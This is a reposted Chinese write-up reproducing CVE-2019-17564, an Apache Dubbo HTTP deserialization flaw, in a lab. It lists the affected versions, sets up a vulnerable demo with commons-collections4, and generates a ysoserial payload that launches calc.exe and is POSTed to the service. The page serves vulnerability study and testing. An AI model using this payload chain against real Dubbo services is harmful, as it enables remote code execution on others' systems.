CVE-2019-17564:Apache Dubbo反序列化漏洞復現


0x00 漏洞背景

①iiDubbo是一款高性能、輕量1級的開源java Rpc分布式服務框架。
②核心功能:
◉ 面向接口的遠程過程調用
◉ 集群容錯和負載均衡
◉ 服務自動注冊與發現
③特點:
◉ 使用分層的架構模式,使得各個層次之間實現最大限度的解耦。
◉ 將服務抽象為服務提供者(Provider)與服務消費者(Consumer)兩個角色。

0x01 影響范圍

Dubbo 2.7.0 to 2.7.4
Dubbo 2.6.0 to 2.6.7
Dubbo all 2.5.x versions

0x02 環境搭建

1.下載官方 demo 代碼
(暴出的漏洞是 http 協議的,故使用 http 的 demo 來重現)
https://github.com/apache/dubbo-samples/tree/master/java/dubbo-samples-http
dubbo 版本改成 2.7.5 之前的版本,比如:2.7.3
在項目 pom 中添加 commons-collections4 依賴(測試漏洞用)

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

運行 demo 代碼,會注冊一個 /dubbo/org.apache.dubbo.samples.http.api.DemoService/providers 的服務
http://xx.x.x.x:8080/org.apache.dubbo.samples.http.api.DemoService?anyhost=true&application=http-provider&bean.name=org.apache.dubbo.samples.http.api.DemoService&deprecated=false&dubbo=2.0.2&dynamic=true&generic=false&interface=org.apache.dubbo.samples.http.api.DemoService&methods=sayHello&pid=1428&register=true&release=2.7.3&server=tomcat&side=provider&timestamp=1582854833741

2.下載反序列化工具 ysoserial
https://repository.mulesoft.org/nexus/content/repositories/public/com/github/frohoff/ysoserial/0.0.5/ysoserial-0.0.5.jar

生成漏洞代碼保存到 payload.ser 中:(可以調用 windows 的計算器程序)

java -jar ysoserial-0.0.5.jar CommonsCollections2 "calc.exe" > payload.ser

3.使用 postman 調用 dubbo 暴露的 http 接口
post http://localhost:8080/org.apache.dubbo.samples.http.api.DemoService
發送的數據包選擇上一步生成的進制文件 payload.ser

轉載自:https://www.cnblogs.com/kevin-yuan/p/12376266.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM